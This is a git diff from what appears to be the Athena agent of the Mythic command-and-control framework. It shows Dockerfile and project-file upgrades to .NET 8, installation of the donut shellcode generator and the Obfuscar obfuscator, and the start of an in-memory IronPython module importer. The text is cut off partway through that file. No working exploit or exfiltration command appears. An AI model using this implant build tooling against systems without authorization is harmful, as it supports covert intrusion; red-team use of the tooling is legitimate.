/documentation-payload/Athena/.idea
-
+.venv/
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
@@ -410,4 +410,8 @@ FodyWeavers.xsd
*.sln.iml
# Automated obfuscar files
-obfuscar.xml
\ No newline at end of file
+obfuscar.xml
+
+# COFF
+*.o
+*.bin
\ No newline at end of file
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 000000000..30ae448e7
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,29 @@
+BSD 3-Clause License
+
+Copyright (c) 2022, Dwight Hohnstein
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+* Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer.
+
+* Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution.
+
+* Neither the name of the copyright holder nor the names of its
+ contributors may be used to endorse or promote products derived from
+ this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
\ No newline at end of file
diff --git a/Payload_Type/athena/.docker/Dockerfile b/Payload_Type/athena/.docker/Dockerfile
index de2768281..551d27d67 100644
--- a/Payload_Type/athena/.docker/Dockerfile
+++ b/Payload_Type/athena/.docker/Dockerfile
@@ -1,8 +1,8 @@
-FROM python:3.11-slim-bookworm
+FROM ubuntu:24.04
-ARG DONUT_URL=https://github.com/MEhrn00/donut/releases/download/v2.0.0/donut_shellcode-2.0.0.tar.gz
+#ARG DONUT_URL=https://github.com/MEhrn00/donut/releases/download/v2.0.0/donut_shellcode-2.0.0.tar.gz
ARG DOTNET_URL=https://dot.net/v1/dotnet-install.sh
-
+RUN mkdir /Mythic/
WORKDIR /Mythic/
RUN apt-get -y update && apt-get -y upgrade
@@ -23,15 +23,22 @@ RUN apt-get install --no-install-recommends -y \
libssl-dev \
make \
protobuf-compiler \
+ python3.12-dev \
+ python3-pip \
software-properties-common \
tk-dev \
wget \
xz-utils \
+ tar \
zlib1g-dev
+WORKDIR /Mythic/
# Install requirements for the project
-RUN python3 -m pip install pycryptodome mythic-container pefile py2app
-
+RUN python3 -m pip install pycryptodome mythic-container pefile py2app --break-system-packages
+#COPY dotnet-sdk-8.0.112-ubuntu.24.04-x64.tar.gz /dotnet-sdk-8.0.112-ubuntu.24.04-x64.tar.gz
+#RUN wget https://github.com/checkymander/dotnet/releases/download/v8.0.11/dotnet-sdk-8.0.112-ubuntu.24.04-x64.tar.gz -O /dotnet-sdk-8.0.112-ubuntu.24.04-x64.tar.gz
+#RUN mkdir /root/.dotnet/
+#RUN tar zxf /dotnet-sdk-8.0.112-ubuntu.24.04-x64.tar.gz -C /root/.dotnet/
# RUN python3 -m pip install --no-cache /wheels/*
RUN wget ${DOTNET_URL} -O dotnet-install.sh
ENV PATH="${PATH}:/root/.dotnet/"
@@ -39,7 +46,7 @@ ENV PATH="${PATH}:/root/.dotnet/tools"
ENV DOTNET_ROOT="/root/.dotnet/"
RUN chmod +x ./dotnet-install.sh
-RUN ./dotnet-install.sh --version 7.0.115
+RUN ./dotnet-install.sh --version 8.0.403
#For ARM64
RUN ./dotnet-install.sh --version 6.0.425
RUN dotnet tool install Obfuscar.GlobalTool -g
@@ -49,7 +56,8 @@ RUN dotnet tool install Obfuscar.GlobalTool -g
# RUN wget -qO- ${DONUT_URL} | tar xvz -C /tmp/donut/
# RUN cd /tmp/donut/donut_shellcode-2.0.0/ && make && cp donut /
# RUN rm -rf /tmp/donut
-RUN python3 -m pip install git+https://github.com/MEhrn00/donut.git@v2.0.0
+RUN python3 -m pip install git+https://github.com/MEhrn00/donut.git@v2.0.0 --break-system-packages
COPY [".", "."]
+
CMD ["python3", "/Mythic/main.py"]
diff --git a/Payload_Type/athena/agent.obfs b/Payload_Type/athena/agent.obfs
new file mode 100644
index 000000000..c56f0e7a5
--- /dev/null
+++ b/Payload_Type/athena/agent.obfs
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Payload_Type/athena/athena/agent_code/Agent.Crypto.Aes/Agent.Crypto.Aes.csproj b/Payload_Type/athena/athena/agent_code/Agent.Crypto.Aes/Agent.Crypto.Aes.csproj
index 17835da16..fd0ba62cf 100644
--- a/Payload_Type/athena/athena/agent_code/Agent.Crypto.Aes/Agent.Crypto.Aes.csproj
+++ b/Payload_Type/athena/athena/agent_code/Agent.Crypto.Aes/Agent.Crypto.Aes.csproj
@@ -1,18 +1,12 @@
- net7.0
+ net8.0
enable
enable
- Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord
+ Debug;Release;LocalDebugGitHub;LocalDebugHttp;LocalDebugWebsocket;LocalDebugSmb;LocalDebugDiscord
-
-
-
-
-
-
-
+
diff --git a/Payload_Type/athena/athena/agent_code/Agent.Crypto.None/Agent.Crypto.None.csproj b/Payload_Type/athena/athena/agent_code/Agent.Crypto.None/Agent.Crypto.None.csproj
index 0fb6878a6..c399b2e4c 100644
--- a/Payload_Type/athena/athena/agent_code/Agent.Crypto.None/Agent.Crypto.None.csproj
+++ b/Payload_Type/athena/athena/agent_code/Agent.Crypto.None/Agent.Crypto.None.csproj
@@ -1,18 +1,11 @@
- net7.0
+ net8.0
enable
enable
- Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord
+ Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord;LocalDebugGithub;LocalDebugSmb
-
-
-
-
-
-
-
-
+
diff --git a/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/Agent.Managers.Linux.csproj b/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/Agent.Managers.Linux.csproj
index 17835da16..fd0ba62cf 100644
--- a/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/Agent.Managers.Linux.csproj
+++ b/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/Agent.Managers.Linux.csproj
@@ -1,18 +1,12 @@
- net7.0
+ net8.0
enable
enable
- Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord
+ Debug;Release;LocalDebugGitHub;LocalDebugHttp;LocalDebugWebsocket;LocalDebugSmb;LocalDebugDiscord
-
-
-
-
-
-
-
+
diff --git a/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/ProcessSpawner.cs b/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/ProcessSpawner.cs
index 33541f7e9..a5c20ce75 100644
--- a/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/ProcessSpawner.cs
+++ b/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/ProcessSpawner.cs
@@ -4,7 +4,7 @@
using Agent.Models;
using Agent.Utilities;
-namespace Agent.Utlities
+namespace Agent.Utilities
{
public class ProcessSpawner : ISpawner
{
diff --git a/Payload_Type/athena/athena/agent_code/Agent.Managers.Python/Agent.Managers.Python.csproj b/Payload_Type/athena/athena/agent_code/Agent.Managers.Python/Agent.Managers.Python.csproj
new file mode 100644
index 000000000..ed5dd051b
--- /dev/null
+++ b/Payload_Type/athena/athena/agent_code/Agent.Managers.Python/Agent.Managers.Python.csproj
@@ -0,0 +1,18 @@
+
+
+
+ net8.0
+ enable
+ enable
+ Debug;Release;LocalDebugSmb
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Payload_Type/athena/athena/agent_code/Agent.Managers.Python/ByteArrayMetaPathImporter.cs b/Payload_Type/athena/athena/agent_code/Agent.Managers.Python/ByteArrayMetaPathImporter.cs
new file mode 100644
index 000000000..af51341fc
--- /dev/null
+++ b/Payload_Type/athena/athena/agent_code/Agent.Managers.Python/ByteArrayMetaPathImporter.cs
@@ -0,0 +1,500 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using ComponentAce.Compression.Libs.ZLib;
+using IronPython.Runtime;
+using IronPython.Runtime.Exceptions;
+using IronPython.Runtime.Operations;
+using IronPython.Zlib;
+using Microsoft.Scripting;
+using Microsoft.Scripting.Runtime;
+using static IronPython.Modules._ast;
+
+namespace IronPython.Modules
+{
+ ///
+ /// Implementes a resource-based meta_path importer as described in PEP 302.
+ ///
+ [PythonType]
+ public class ByteArrayMetaPathImporter
+ {
+ private readonly PackedByteLoader _loader;
+ private readonly IDictionary _unpackedLibrary;
+ private readonly IDictionary _unpackedModules;
+ private readonly string _unpackingError;
+
+ private static readonly Dictionary SearchOrder;
+
+ [Flags]
+ private enum ModuleCodeType
+ {
+ Source = 0,
+ //ByteCode,
+ Package,
+ }
+
+ static ByteArrayMetaPathImporter()
+ {
+ // we currently don't support bytecode, so just include the source versions.
+ SearchOrder = new Dictionary {
+ {
+ Path.DirectorySeparatorChar + "__init__.py",
+ ModuleCodeType.Package |
+ ModuleCodeType.Source
+ },
+ {".py", ModuleCodeType.Source},
+ };
+ }
+
+ ///
+ /// Instantiates a new meta_path importer using an embedded ZIP resource file.
+ ///
+ ///
+ ///
+
+ public ByteArrayMetaPathImporter(byte[] fromBytes)
+ {
+ _loader = new PackedByteLoader(fromBytes);
+
+ if (_loader.LoadZipDirectory(out _unpackedLibrary, out _unpackedModules,
+ out _unpackingError))
+ return;
+
+ _unpackedLibrary = new Dictionary();
+ _unpackedModules = new Dictionary();
+ if (!String.IsNullOrEmpty(_unpackingError))
+ throw MakeError("meta_path importer initialization error: {0}", _unpackingError);
+ }
+
+ [Documentation(
+ @"find_module(fullname, path=None) -> self or None.
+
+Search for a module specified by 'fullname'. 'fullname' must be the
+fully qualified (dotted) module name. It returns the importer
+instance itself if the module was found, or None if it wasn't.
+The optional 'path' argument is ignored -- it's there for compatibility
+with the importer protocol."
+ )]
+ public object find_module(CodeContext /*!*/ context, string fullname, params object[] args)
+ {
+ var packedName = MakeFilename(fullname);
+
+ foreach (var entry in SearchOrder)
+ {
+ var temp = packedName + entry.Key;
+ if (_unpackedLibrary.ContainsKey(temp))
+ return this;
+ }
+ return null;
+ }
+
+ [Documentation(
+ @"load_module(fullname) -> module.
+
+Load the module specified by 'fullname'. 'fullname' must be the
+fully qualified (dotted) module name. It returns the imported
+module, or raises ResourceImportError if it wasn't found."
+ )]
+ public object load_module(CodeContext /*!*/ context, string fullname)
+ {
+ PythonContext langContext = context.LanguageContext;
+ IDictionary